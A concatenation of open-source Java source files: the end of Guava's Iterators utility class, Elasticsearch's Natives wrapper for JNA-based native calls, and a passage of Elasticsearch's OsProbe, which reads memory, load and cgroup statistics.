* return an {@code UnmodifiableIterator} instead of a plain {@code Iterator}.
*/
public static <T extends @Nullable Object> UnmodifiableIterator<T> forEnumeration(
Enumeration<T> enumeration) {
checkNotNull(enumeration);
return new UnmodifiableIterator<T>() {
@Override
public boolean hasNext() {
return enumeration.hasMoreElements();
}
@Override
@ParametricNullness
public T next() {
return enumeration.nextElement();
}
};
}
/**
* Adapts an {@code Iterator} to the {@code Enumeration} interface.
*
* <p>The {@code Iterable} equivalent of this method is either {@link Collections#enumeration} (if
* you have a {@link Collection}), or {@code Iterators.asEnumeration(collection.iterator())}.
*/
public static <T extends @Nullable Object> Enumeration<T> asEnumeration(Iterator<T> iterator) {
checkNotNull(iterator);
return new Enumeration<T>() {
@Override
public boolean hasMoreElements() {
return iterator.hasNext();
}
@Override
@ParametricNullness
public T nextElement() {
return iterator.next();
}
};
}
/** Implementation of PeekingIterator that avoids peeking unless necessary. */
private static class PeekingImpl<E extends @Nullable Object> implements PeekingIterator<E> {
private final Iterator<? extends E> iterator;
private boolean hasPeeked;
@CheckForNull private E peekedElement;
public PeekingImpl(Iterator<? extends E> iterator) {
this.iterator = checkNotNull(iterator);
}
@Override
public boolean hasNext() {
return hasPeeked || iterator.hasNext();
}
@Override
@ParametricNullness
public E next() {
if (!hasPeeked) {
return iterator.next();
}
// The cast is safe because of the hasPeeked check.
E result = uncheckedCastNullableTToT(peekedElement);
hasPeeked = false;
peekedElement = null;
return result;
}
@Override
public void remove() {
checkState(!hasPeeked, "Can't remove after you've peeked at next");
iterator.remove();
}
@Override
@ParametricNullness
public E peek() {
if (!hasPeeked) {
peekedElement = iterator.next();
hasPeeked = true;
}
// The cast is safe because of the hasPeeked check.
return uncheckedCastNullableTToT(peekedElement);
}
}
/**
* Returns a {@code PeekingIterator} backed by the given iterator.
*
* <p>Calls to the {@code peek} method with no intervening calls to {@code next} do not affect the
* iteration, and hence return the same object each time. A subsequent call to {@code next} is
* guaranteed to return the same object again. For example:
*
* <pre>{@code
* PeekingIterator<String> peekingIterator =
* Iterators.peekingIterator(Iterators.forArray("a", "b"));
* String a1 = peekingIterator.peek(); // returns "a"
* String a2 = peekingIterator.peek(); // also returns "a"
* String a3 = peekingIterator.next(); // also returns "a"
* }</pre>
*
* <p>Any structural changes to the underlying iteration (aside from those performed by the
* iterator's own {@link PeekingIterator#remove()} method) will leave the iterator in an undefined
* state.
*
* <p>The returned iterator does not support removal after peeking, as explained by {@link
* PeekingIterator#remove()}.
*
* <p>Note: If the given iterator is already a {@code PeekingIterator}, it <i>might</i> be
* returned to the caller, although this is neither guaranteed to occur nor required to be
* consistent. For example, this method <i>might</i> choose to pass through recognized
* implementations of {@code PeekingIterator} when the behavior of the implementation is known to
* meet the contract guaranteed by this method.
*
* <p>There is no {@link Iterable} equivalent to this method, so use this method to wrap each
* individual iterator as it is generated.
*
* @param iterator the backing iterator. The {@link PeekingIterator} assumes ownership of this
* iterator, so users should cease making direct calls to it after calling this method.
* @return a peeking iterator backed by that iterator. Apart from the additional {@link
* PeekingIterator#peek()} method, this iterator behaves exactly the same as {@code iterator}.
*/
public static <T extends @Nullable Object> PeekingIterator<T> peekingIterator(
Iterator<? extends T> iterator) {
if (iterator instanceof PeekingImpl) {
// Safe to cast <? extends T> to <T> because PeekingImpl only uses T
// covariantly (and cannot be subclassed to add non-covariant uses).
@SuppressWarnings("unchecked")
PeekingImpl<T> peeking = (PeekingImpl<T>) iterator;
return peeking;
}
return new PeekingImpl<>(iterator);
}
/**
* Simply returns its argument.
*
* @deprecated no need to use this
* @since 10.0
*/
@Deprecated
public static <T extends @Nullable Object> PeekingIterator<T> peekingIterator(
PeekingIterator<T> iterator) {
return checkNotNull(iterator);
}
/**
* Returns an iterator over the merged contents of all given {@code iterators}, traversing every
* element of the input iterators. Equivalent entries will not be de-duplicated.
*
* <p>Callers must ensure that the source {@code iterators} are in non-descending order as this
* method does not sort its input.
*
* <p>For any equivalent elements across all {@code iterators}, it is undefined which element is
* returned first.
*
* @since 11.0
*/
public static <T extends @Nullable Object> UnmodifiableIterator<T> mergeSorted(
Iterable<? extends Iterator<? extends T>> iterators, Comparator<? super T> comparator) {
checkNotNull(iterators, "iterators");
checkNotNull(comparator, "comparator");
return new MergingIterator<>(iterators, comparator);
}
/**
* An iterator that performs a lazy N-way merge, calculating the next value each time the iterator
* is polled. This amortizes the sorting cost over the iteration and requires less memory than
* sorting all elements at once.
*
* <p>Retrieving a single element takes approximately O(log(M)) time, where M is the number of
* iterators. (Retrieving all elements takes approximately O(N*log(M)) time, where N is the total
* number of elements.)
*/
private static class MergingIterator<T extends @Nullable Object> extends UnmodifiableIterator<T> {
final Queue<PeekingIterator<T>> queue;
public MergingIterator(
Iterable<? extends Iterator<? extends T>> iterators, Comparator<? super T> itemComparator) {
// A comparator that's used by the heap, allowing the heap
// to be sorted based on the top of each iterator.
Comparator<PeekingIterator<T>> heapComparator =
(PeekingIterator<T> o1, PeekingIterator<T> o2) ->
itemComparator.compare(o1.peek(), o2.peek());
queue = new PriorityQueue<>(2, heapComparator);
for (Iterator<? extends T> iterator : iterators) {
if (iterator.hasNext()) {
queue.add(Iterators.peekingIterator(iterator));
}
}
}
@Override
public boolean hasNext() {
return !queue.isEmpty();
}
@Override
@ParametricNullness
public T next() {
PeekingIterator<T> nextIter = queue.remove();
T next = nextIter.next();
if (nextIter.hasNext()) {
queue.add(nextIter);
}
return next;
}
}
private static class ConcatenatedIterator<T extends @Nullable Object> implements Iterator<T> {
/* The last iterator to return an element. Calls to remove() go to this iterator. */
@CheckForNull private Iterator<? extends T> toRemove;
/* The iterator currently returning elements. */
private Iterator<? extends T> iterator;
/*
* We track the "meta iterators," the iterators-of-iterators, below. Usually, topMetaIterator
* is the only one in use, but if we encounter nested concatenations, we start a deque of
* meta-iterators rather than letting the nesting get arbitrarily deep. This keeps each
* operation O(1).
*/
@CheckForNull private Iterator<? extends Iterator<? extends T>> topMetaIterator;
// Only becomes nonnull if we encounter nested concatenations.
@CheckForNull private Deque<Iterator<? extends Iterator<? extends T>>> metaIterators;
ConcatenatedIterator(Iterator<? extends Iterator<? extends T>> metaIterator) {
iterator = emptyIterator();
topMetaIterator = checkNotNull(metaIterator);
}
// Returns a nonempty meta-iterator or, if all meta-iterators are empty, null.
@CheckForNull
private Iterator<? extends Iterator<? extends T>> getTopMetaIterator() {
while (topMetaIterator == null || !topMetaIterator.hasNext()) {
if (metaIterators != null && !metaIterators.isEmpty()) {
topMetaIterator = metaIterators.removeFirst();
} else {
return null;
}
}
return topMetaIterator;
}
@Override
public boolean hasNext() {
while (!checkNotNull(iterator).hasNext()) {
// this weird checkNotNull positioning appears required by our tests, which expect
// both hasNext and next to throw NPE if an input iterator is null.
topMetaIterator = getTopMetaIterator();
if (topMetaIterator == null) {
return false;
}
iterator = topMetaIterator.next();
if (iterator instanceof ConcatenatedIterator) {
// Instead of taking linear time in the number of nested concatenations, unpack
// them into the queue
@SuppressWarnings("unchecked")
ConcatenatedIterator<T> topConcat = (ConcatenatedIterator<T>) iterator;
iterator = topConcat.iterator;
// topConcat.topMetaIterator, then topConcat.metaIterators, then this.topMetaIterator,
// then this.metaIterators
if (this.metaIterators == null) {
this.metaIterators = new ArrayDeque<>();
}
this.metaIterators.addFirst(this.topMetaIterator);
if (topConcat.metaIterators != null) {
while (!topConcat.metaIterators.isEmpty()) {
this.metaIterators.addFirst(topConcat.metaIterators.removeLast());
}
}
this.topMetaIterator = topConcat.topMetaIterator;
}
}
return true;
}
@Override
@ParametricNullness
public T next() {
if (hasNext()) {
toRemove = iterator;
return iterator.next();
} else {
throw new NoSuchElementException();
}
}
@Override
public void remove() {
if (toRemove == null) {
throw new IllegalStateException("no calls to next() since the last call to remove()");
}
toRemove.remove();
toRemove = null;
}
}
}
| google/guava | guava/src/com/google/common/collect/Iterators.java |
1,394 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.bootstrap;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.elasticsearch.common.ReferenceDocs;
import java.lang.invoke.MethodHandles;
import java.nio.file.Path;
import java.util.Locale;
/**
* The Natives class is a wrapper class that checks if the classes necessary for calling native methods are available on
* startup. If they are not available, this class will avoid calling code that loads these classes.
*/
final class Natives {
/** no instantiation */
private Natives() {}
private static final Logger logger = LogManager.getLogger(Natives.class);
// marker to determine if the JNA class files are available to the JVM
static final boolean JNA_AVAILABLE;
static {
boolean v = false;
try {
// load one of the main JNA classes to see if the classes are available. this does not ensure that all native
// libraries are available, only the ones necessary by JNA to function
MethodHandles.publicLookup().ensureInitialized(com.sun.jna.Native.class);
v = true;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
} catch (UnsatisfiedLinkError e) {
logger.warn(
String.format(
Locale.ROOT,
"unable to load JNA native support library, native methods will be disabled. See %s",
ReferenceDocs.EXECUTABLE_JNA_TMPDIR
),
e
);
}
JNA_AVAILABLE = v;
}
static void tryMlockall() {
if (JNA_AVAILABLE == false) {
logger.warn("cannot mlockall because JNA is not available");
return;
}
JNANatives.tryMlockall();
}
static void tryVirtualLock() {
if (JNA_AVAILABLE == false) {
logger.warn("cannot virtual lock because JNA is not available");
return;
}
JNANatives.tryVirtualLock();
}
/**
* Retrieves the short path form of the specified path.
*
* @param path the path
* @return the short path name (or the original path if getting the short path name fails for any reason)
*/
static String getShortPathName(final String path) {
if (JNA_AVAILABLE == false) {
logger.warn("cannot obtain short path for [{}] because JNA is not available", path);
return path;
}
return JNANatives.getShortPathName(path);
}
static void addConsoleCtrlHandler(ConsoleCtrlHandler handler) {
if (JNA_AVAILABLE == false) {
logger.warn("cannot register console handler because JNA is not available");
return;
}
JNANatives.addConsoleCtrlHandler(handler);
}
static boolean isMemoryLocked() {
if (JNA_AVAILABLE == false) {
return false;
}
return JNANatives.LOCAL_MLOCKALL;
}
static void tryInstallSystemCallFilter(Path tmpFile) {
if (JNA_AVAILABLE == false) {
logger.warn("cannot install system call filter because JNA is not available");
return;
}
JNANatives.tryInstallSystemCallFilter(tmpFile);
}
static void trySetMaxNumberOfThreads() {
if (JNA_AVAILABLE == false) {
logger.warn("cannot getrlimit RLIMIT_NPROC because JNA is not available");
return;
}
JNANatives.trySetMaxNumberOfThreads();
}
static void trySetMaxSizeVirtualMemory() {
if (JNA_AVAILABLE == false) {
logger.warn("cannot getrlimit RLIMIT_AS because JNA is not available");
return;
}
JNANatives.trySetMaxSizeVirtualMemory();
}
static void trySetMaxFileSize() {
if (JNA_AVAILABLE == false) {
logger.warn("cannot getrlimit RLIMIT_FSIZE because JNA is not available");
return;
}
JNANatives.trySetMaxFileSize();
}
static boolean isSystemCallFilterInstalled() {
if (JNA_AVAILABLE == false) {
return false;
}
return JNANatives.LOCAL_SYSTEM_CALL_FILTER;
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/bootstrap/Natives.java |
1,395 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.monitor.os;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.lucene.util.Constants;
import org.elasticsearch.common.unit.Processors;
import org.elasticsearch.core.PathUtils;
import org.elasticsearch.core.SuppressForbidden;
import org.elasticsearch.monitor.Probes;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.management.OperatingSystemMXBean;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Stream;
/**
* The {@link OsProbe} class retrieves information about the physical and swap size of the machine
* memory, as well as the system load average and cpu load.
*
* <p>In some exceptional cases, it's possible the underlying native methods used by
* {@link #getFreePhysicalMemorySize()}, {@link #getTotalPhysicalMemorySize()},
* {@link #getFreeSwapSpaceSize()}, and {@link #getTotalSwapSpaceSize()} can return a
* negative value. Because of this, we prevent those methods from returning negative values,
* returning 0 instead.
*
* <p>The OS can report a negative number in a number of cases:
*
* <ul>
* <li>Non-supported OSes (HP-UX, or AIX)
* <li>A failure of macOS to initialize host statistics
* <li>An OS that does not support the {@code _SC_PHYS_PAGES} or {@code _SC_PAGE_SIZE} flags for the {@code sysconf()} linux kernel call
* <li>An overflow of the product of {@code _SC_PHYS_PAGES} and {@code _SC_PAGE_SIZE}
* <li>An error case retrieving these values from a linux kernel
* <li>A non-standard libc implementation not implementing the required values
* </ul>
*
* <p>For a more exhaustive explanation, see <a href="https://github.com/elastic/elasticsearch/pull/42725"
* >https://github.com/elastic/elasticsearch/pull/42725</a>
*/
public class OsProbe {
private static final OperatingSystemMXBean osMxBean = ManagementFactory.getOperatingSystemMXBean();
// This property is specified without units because it also needs to be parsed by the launcher
// code, which does not have access to all the utility classes of the Elasticsearch server.
private static final String memoryOverrideProperty = System.getProperty("es.total_memory_bytes");
private static final Method getFreePhysicalMemorySize;
private static final Method getTotalPhysicalMemorySize;
private static final Method getFreeSwapSpaceSize;
private static final Method getTotalSwapSpaceSize;
private static final Method getSystemLoadAverage;
private static final Method getSystemCpuLoad;
static {
getFreePhysicalMemorySize = getMethod("getFreePhysicalMemorySize");
getTotalPhysicalMemorySize = getMethod("getTotalPhysicalMemorySize");
getFreeSwapSpaceSize = getMethod("getFreeSwapSpaceSize");
getTotalSwapSpaceSize = getMethod("getTotalSwapSpaceSize");
getSystemLoadAverage = getMethod("getSystemLoadAverage");
getSystemCpuLoad = getMethod("getSystemCpuLoad");
}
/**
* Returns the amount of free physical memory in bytes.
*/
public long getFreePhysicalMemorySize() {
if (getFreePhysicalMemorySize == null) {
logger.warn("getFreePhysicalMemorySize is not available");
return 0;
}
try {
final long freeMem = (long) getFreePhysicalMemorySize.invoke(osMxBean);
if (freeMem < 0) {
logger.debug("OS reported a negative free memory value [{}]", freeMem);
return 0;
}
return freeMem;
} catch (Exception e) {
logger.warn("exception retrieving free physical memory", e);
return 0;
}
}
/**
* Returns the total amount of physical memory in bytes.
*/
public long getTotalPhysicalMemorySize() {
if (getTotalPhysicalMemorySize == null) {
logger.warn("getTotalPhysicalMemorySize is not available");
return 0;
}
try {
long totalMem = (long) getTotalPhysicalMemorySize.invoke(osMxBean);
if (totalMem < 0) {
logger.debug("OS reported a negative total memory value [{}]", totalMem);
return 0;
}
if (totalMem == 0 && isDebian8()) {
// workaround for JDK bug on debian8: https://github.com/elastic/elasticsearch/issues/67089#issuecomment-756114654
totalMem = getTotalMemFromProcMeminfo();
}
return totalMem;
} catch (Exception e) {
logger.warn("exception retrieving total physical memory", e);
return 0;
}
}
/**
* Returns the adjusted total amount of physical memory in bytes.
* Total memory may be overridden when some other process is running
* that is known to consume a non-negligible amount of memory. This
* is read from the "es.total_memory_bytes" system property. When
* there is no override this method returns the same value as
* {@link #getTotalPhysicalMemorySize}.
*/
public long getAdjustedTotalMemorySize() {
return Optional.ofNullable(getTotalMemoryOverride(memoryOverrideProperty)).orElse(getTotalPhysicalMemorySize());
}
static Long getTotalMemoryOverride(String memoryOverrideProperty) {
if (memoryOverrideProperty == null) {
return null;
}
try {
long memoryOverride = Long.parseLong(memoryOverrideProperty);
if (memoryOverride < 0) {
throw new IllegalArgumentException(
"Negative memory size specified in [es.total_memory_bytes]: [" + memoryOverrideProperty + "]"
);
}
return memoryOverride;
} catch (NumberFormatException e) {
throw new IllegalArgumentException("Invalid value for [es.total_memory_bytes]: [" + memoryOverrideProperty + "]", e);
}
}
/**
* Returns the amount of free swap space in bytes.
*/
public long getFreeSwapSpaceSize() {
if (getFreeSwapSpaceSize == null) {
logger.warn("getFreeSwapSpaceSize is not available");
return 0;
}
try {
final long mem = (long) getFreeSwapSpaceSize.invoke(osMxBean);
if (mem < 0) {
logger.debug("OS reported a negative free swap space size [{}]", mem);
return 0;
}
return mem;
} catch (Exception e) {
logger.warn("exception retrieving free swap space size", e);
return 0;
}
}
/**
* Returns the total amount of swap space in bytes.
*/
public long getTotalSwapSpaceSize() {
if (getTotalSwapSpaceSize == null) {
logger.warn("getTotalSwapSpaceSize is not available");
return 0;
}
try {
final long mem = (long) getTotalSwapSpaceSize.invoke(osMxBean);
if (mem < 0) {
logger.debug("OS reported a negative total swap space size [{}]", mem);
return 0;
}
return mem;
} catch (Exception e) {
logger.warn("exception retrieving total swap space size", e);
return 0;
}
}
/**
* The system load averages as an array.
*
* On Windows, this method returns {@code null}.
*
* On Linux, this method returns the 1, 5, and 15-minute load averages.
*
* On macOS, this method should return the 1-minute load average.
*
* @return the available system load averages or {@code null}
*/
final double[] getSystemLoadAverage() {
if (Constants.WINDOWS) {
return null;
} else if (Constants.LINUX) {
try {
final String procLoadAvg = readProcLoadavg();
assert procLoadAvg.matches("(\\d+\\.\\d+\\s+){3}\\d+/\\d+\\s+\\d+");
final String[] fields = procLoadAvg.split("\\s+");
return new double[] { Double.parseDouble(fields[0]), Double.parseDouble(fields[1]), Double.parseDouble(fields[2]) };
} catch (final IOException e) {
if (logger.isDebugEnabled()) {
logger.debug("error reading /proc/loadavg", e);
}
return null;
}
} else {
assert Constants.MAC_OS_X;
if (getSystemLoadAverage == null) {
return null;
}
try {
final double oneMinuteLoadAverage = (double) getSystemLoadAverage.invoke(osMxBean);
return new double[] { oneMinuteLoadAverage >= 0 ? oneMinuteLoadAverage : -1, -1, -1 };
} catch (IllegalAccessException | InvocationTargetException e) {
if (logger.isDebugEnabled()) {
logger.debug("error reading one minute load average from operating system", e);
}
return null;
}
}
}
/**
* The line from {@code /proc/loadavg}. The first three fields are the load averages averaged over 1, 5, and 15 minutes. The fourth
* field is two numbers separated by a slash, the first is the number of currently runnable scheduling entities, the second is the
* number of scheduling entities on the system. The fifth field is the PID of the most recently created process.
*
* @return the line from {@code /proc/loadavg} or {@code null}
*/
@SuppressForbidden(reason = "access /proc/loadavg")
String readProcLoadavg() throws IOException {
return readSingleLine(PathUtils.get("/proc/loadavg"));
}
public static short getSystemCpuPercent() {
return Probes.getLoadAndScaleToPercent(getSystemCpuLoad, osMxBean);
}
/**
* Reads a file containing a single line.
*
* @param path path to the file to read
* @return the single line
* @throws IOException if an I/O exception occurs reading the file
*/
private static String readSingleLine(final Path path) throws IOException {
final List<String> lines = Files.readAllLines(path);
assert lines.size() == 1 : String.join("\n", lines);
return lines.get(0);
}
// this property is to support a hack to workaround an issue with Docker containers mounting the cgroups hierarchy inconsistently with
// respect to /proc/self/cgroup; for Docker containers this should be set to "/"
private static final String CONTROL_GROUPS_HIERARCHY_OVERRIDE = System.getProperty("es.cgroups.hierarchy.override");
/**
* A map of the control groups to which the Elasticsearch process belongs. Note that this is a map because the control groups can vary
* from subsystem to subsystem. Additionally, this map can not be cached because a running process can be reclassified.
*
* @return a map from subsystems to the control group for the Elasticsearch process.
* @throws IOException if an I/O exception occurs reading {@code /proc/self/cgroup}
*/
private Map<String, String> getControlGroups() throws IOException {
final List<String> lines = readProcSelfCgroup();
final Map<String, String> controllerMap = new HashMap<>();
for (final String line : lines) {
/*
* The virtual file /proc/self/cgroup lists the control groups that the Elasticsearch process is a member of. Each line contains
* three colon-separated fields of the form hierarchy-ID:subsystem-list:cgroup-path. For cgroups version 1 hierarchies, the
* subsystem-list is a comma-separated list of subsystems. The subsystem-list can be empty if the hierarchy represents a cgroups
* version 2 hierarchy. For cgroups version 1
*/
final String[] fields = line.split(":");
assert fields.length == 3;
final String[] controllers = fields[1].split(",");
for (final String controller : controllers) {
final String controlGroupPath;
if (CONTROL_GROUPS_HIERARCHY_OVERRIDE != null) {
/*
* Docker violates the relationship between /proc/self/cgroup and the /sys/fs/cgroup hierarchy. It's possible that this
* will be fixed in future versions of Docker with cgroup namespaces, but this requires modern kernels. Thus, we provide
* an undocumented hack for overriding the control group path. Do not rely on this hack, it will be removed.
*/
controlGroupPath = CONTROL_GROUPS_HIERARCHY_OVERRIDE;
} else {
controlGroupPath = fields[2];
}
final String previous = controllerMap.put(controller, controlGroupPath);
assert previous == null;
}
}
return controllerMap;
}
/**
* The lines from {@code /proc/self/cgroup}. This file represents the control groups to which the Elasticsearch process belongs. Each
* line in this file represents a control group hierarchy of the form
* <p>
* {@code \d+:([^:,]+(?:,[^:,]+)?):(/.*)}
* <p>
* with the first field representing the hierarchy ID, the second field representing a comma-separated list of the subsystems bound to
* the hierarchy, and the last field representing the control group.
*
* @return the lines from {@code /proc/self/cgroup}
* @throws IOException if an I/O exception occurs reading {@code /proc/self/cgroup}
*/
@SuppressForbidden(reason = "access /proc/self/cgroup")
List<String> readProcSelfCgroup() throws IOException {
final List<String> lines = Files.readAllLines(PathUtils.get("/proc/self/cgroup"));
assert lines != null && lines.isEmpty() == false;
return lines;
}
/**
* The total CPU time in nanoseconds consumed by all tasks in the cgroup to which the Elasticsearch process belongs for the {@code
* cpuacct} subsystem.
*
* @param controlGroup the control group for the Elasticsearch process for the {@code cpuacct} subsystem
* @return the total CPU time in nanoseconds
* @throws IOException if an I/O exception occurs reading {@code cpuacct.usage} for the control group
*/
private long getCgroupCpuAcctUsageNanos(final String controlGroup) throws IOException {
return Long.parseLong(readSysFsCgroupCpuAcctCpuAcctUsage(controlGroup));
}
/**
* Returns the line from {@code cpuacct.usage} for the control group to which the Elasticsearch process belongs for the {@code cpuacct}
* subsystem. This line represents the total CPU time in nanoseconds consumed by all tasks in the same control group.
*
* @param controlGroup the control group to which the Elasticsearch process belongs for the {@code cpuacct} subsystem
* @return the line from {@code cpuacct.usage}
* @throws IOException if an I/O exception occurs reading {@code cpuacct.usage} for the control group
*/
@SuppressForbidden(reason = "access /sys/fs/cgroup/cpuacct")
String readSysFsCgroupCpuAcctCpuAcctUsage(final String controlGroup) throws IOException {
return readSingleLine(PathUtils.get("/sys/fs/cgroup/cpuacct", controlGroup, "cpuacct.usage"));
}
private long[] getCgroupV2CpuLimit(String controlGroup) throws IOException {
String entry = readCgroupV2CpuLimit(controlGroup);
String[] parts = entry.split("\\s+");
assert parts.length == 2 : "Expected 2 fields in [cpu.max]";
long[] values = new long[2];
values[0] = "max".equals(parts[0]) ? -1L : Long.parseLong(parts[0]);
values[1] = Long.parseLong(parts[1]);
return values;
}
@SuppressForbidden(reason = "access /sys/fs/cgroup/cpu.max")
String readCgroupV2CpuLimit(String controlGroup) throws IOException {
return readSingleLine(PathUtils.get("/sys/fs/cgroup/", controlGroup, "cpu.max"));
}
/**
* The total period of time in microseconds for how frequently the Elasticsearch control group's access to CPU resources will be
* reallocated.
*
* @param controlGroup the control group for the Elasticsearch process for the {@code cpuacct} subsystem
* @return the CFS quota period in microseconds
* @throws IOException if an I/O exception occurs reading {@code cpu.cfs_period_us} for the control group
*/
private long getCgroupCpuAcctCpuCfsPeriodMicros(final String controlGroup) throws IOException {
return Long.parseLong(readSysFsCgroupCpuAcctCpuCfsPeriod(controlGroup));
}
/**
* Returns the line from {@code cpu.cfs_period_us} for the control group to which the Elasticsearch process belongs for the {@code cpu}
* subsystem. This line represents the period of time in microseconds for how frequently the control group's access to CPU resources
* will be reallocated.
*
* @param controlGroup the control group to which the Elasticsearch process belongs for the {@code cpu} subsystem
* @return the line from {@code cpu.cfs_period_us}
* @throws IOException if an I/O exception occurs reading {@code cpu.cfs_period_us} for the control group
*/
@SuppressForbidden(reason = "access /sys/fs/cgroup/cpu")
String readSysFsCgroupCpuAcctCpuCfsPeriod(final String controlGroup) throws IOException {
return readSingleLine(PathUtils.get("/sys/fs/cgroup/cpu", controlGroup, "cpu.cfs_period_us"));
}
/**
* The total time in microseconds that all tasks in the Elasticsearch control group can run during one period as specified by {@code
* cpu.cfs_period_us}.
*
* @param controlGroup the control group for the Elasticsearch process for the {@code cpuacct} subsystem
* @return the CFS quota in microseconds
* @throws IOException if an I/O exception occurs reading {@code cpu.cfs_quota_us} for the control group
*/
private long getCgroupCpuAcctCpuCfsQuotaMicros(final String controlGroup) throws IOException {
return Long.parseLong(readSysFsCgroupCpuAcctCpuAcctCfsQuota(controlGroup));
}
/**
* Returns the line from {@code cpu.cfs_quota_us} for the control group to which the Elasticsearch process belongs for the {@code cpu}
* subsystem. This line represents the total time in microseconds that all tasks in the control group can run during one period as
* specified by {@code cpu.cfs_period_us}.
*
* @param controlGroup the control group to which the Elasticsearch process belongs for the {@code cpu} subsystem
* @return the line from {@code cpu.cfs_quota_us}
* @throws IOException if an I/O exception occurs reading {@code cpu.cfs_quota_us} for the control group
*/
@SuppressForbidden(reason = "access /sys/fs/cgroup/cpu")
String readSysFsCgroupCpuAcctCpuAcctCfsQuota(final String controlGroup) throws IOException {
return readSingleLine(PathUtils.get("/sys/fs/cgroup/cpu", controlGroup, "cpu.cfs_quota_us"));
}
/**
* The CPU time statistics for all tasks in the Elasticsearch control group.
*
* @param controlGroup the control group for the Elasticsearch process for the {@code cpuacct} subsystem
* @return the CPU time statistics
* @throws IOException if an I/O exception occurs reading {@code cpu.stat} for the control group
*/
private OsStats.Cgroup.CpuStat getCgroupCpuAcctCpuStat(final String controlGroup) throws IOException {
final List<String> lines = readSysFsCgroupCpuAcctCpuStat(controlGroup);
long numberOfPeriods = -1;
long numberOfTimesThrottled = -1;
long timeThrottledNanos = -1;
for (final String line : lines) {
final String[] fields = line.split("\\s+");
switch (fields[0]) {
case "nr_periods" -> numberOfPeriods = Long.parseLong(fields[1]);
case "nr_throttled" -> numberOfTimesThrottled = Long.parseLong(fields[1]);
case "throttled_time" -> timeThrottledNanos = Long.parseLong(fields[1]);
}
}
assert numberOfPeriods != -1;
assert numberOfTimesThrottled != -1;
assert timeThrottledNanos != -1;
return new OsStats.Cgroup.CpuStat(numberOfPeriods, numberOfTimesThrottled, timeThrottledNanos);
}
/**
* Returns the lines from {@code cpu.stat} for the control group to which the Elasticsearch process belongs for the {@code cpu}
* subsystem. These lines represent the CPU time statistics and have the form
* <blockquote><pre>
* nr_periods \d+
* nr_throttled \d+
* throttled_time \d+
* </pre></blockquote>
* where {@code nr_periods} is the number of period intervals as specified by {@code cpu.cfs_period_us} that have elapsed, {@code
* nr_throttled} is the number of times tasks in the given control group have been throttled, and {@code throttled_time} is the total
* time in nanoseconds for which tasks in the given control group have been throttled.
*
* If the burst feature of the scheduler is enabled, the statistics contain an additional two fields of the form
* <blockquote><pre>
* nr_bursts \d+
* burst_time
* </pre></blockquote>
* These additional fields are currently ignored.
*
* @param controlGroup the control group to which the Elasticsearch process belongs for the {@code cpu} subsystem
* @return the lines from {@code cpu.stat}
* @throws IOException if an I/O exception occurs reading {@code cpu.stat} for the control group
*/
@SuppressForbidden(reason = "access /sys/fs/cgroup/cpu")
List<String> readSysFsCgroupCpuAcctCpuStat(final String controlGroup) throws IOException {
final List<String> lines = Files.readAllLines(PathUtils.get("/sys/fs/cgroup/cpu", controlGroup, "cpu.stat"));
assert lines != null && (lines.size() == 3 || lines.size() == 5);
return lines;
}
/**
* The maximum amount of user memory (including file cache).
* If there is no limit then some Linux versions return the maximum value that can be stored in an
* unsigned 64 bit number, and this will overflow a long, hence the result type is <code>String</code>.
* (The alternative would have been <code>BigInteger</code> but then it would not be possible to index
* the OS stats document into Elasticsearch without losing information, as <code>BigInteger</code> is
* not a supported Elasticsearch type.)
*
* @param controlGroup the control group for the Elasticsearch process for the {@code memory} subsystem
* @return the maximum amount of user memory (including file cache)
* @throws IOException if an I/O exception occurs reading {@code memory.limit_in_bytes} for the control group
*/
private String getCgroupMemoryLimitInBytes(final String controlGroup) throws IOException {
return readSysFsCgroupMemoryLimitInBytes(controlGroup);
}
/**
* Returns the line from {@code memory.limit_in_bytes} for the control group to which the Elasticsearch process belongs for the
* {@code memory} subsystem. This line represents the maximum amount of user memory (including file cache).
*
* @param controlGroup the control group to which the Elasticsearch process belongs for the {@code memory} subsystem
* @return the line from {@code memory.limit_in_bytes}
* @throws IOException if an I/O exception occurs reading {@code memory.limit_in_bytes} for the control group
*/
@SuppressForbidden(reason = "access /sys/fs/cgroup/memory")
String readSysFsCgroupMemoryLimitInBytes(final String controlGroup) throws IOException {
return readSingleLine(PathUtils.get("/sys/fs/cgroup/memory", controlGroup, "memory.limit_in_bytes"));
}
/**
* The maximum amount of user memory (including file cache).
* If there is no limit then some Linux versions return the maximum value that can be stored in an
* unsigned 64 bit number, and this will overflow a long, hence the result type is <code>String</code>.
* (The alternative would have been <code>BigInteger</code> but then it would not be possible to index
* the OS stats document into Elasticsearch without losing information, as <code>BigInteger</code> is
* not a supported Elasticsearch type.)
*
* @param controlGroup the control group for the Elasticsearch process for the {@code memory} subsystem
* @return the maximum amount of user memory (including file cache)
* @throws IOException if an I/O exception occurs reading {@code memory.limit_in_bytes} for the control group
*/
private String getCgroupV2MemoryLimitInBytes(final String controlGroup) throws IOException {
return readSysFsCgroupV2MemoryLimitInBytes(controlGroup);
}
/**
* Returns the line from {@code memory.max} for the control group to which the Elasticsearch process belongs for the
* {@code memory} subsystem. This line represents the maximum amount of user memory (including file cache).
*
* @param controlGroup the control group to which the Elasticsearch process belongs for the {@code memory} subsystem
* @return the line from {@code memory.max}
* @throws IOException if an I/O exception occurs reading {@code memory.max} for the control group
*/
@SuppressForbidden(reason = "access /sys/fs/cgroup/memory.max")
String readSysFsCgroupV2MemoryLimitInBytes(final String controlGroup) throws IOException {
return readSingleLine(PathUtils.get("/sys/fs/cgroup/", controlGroup, "memory.max"));
}
/**
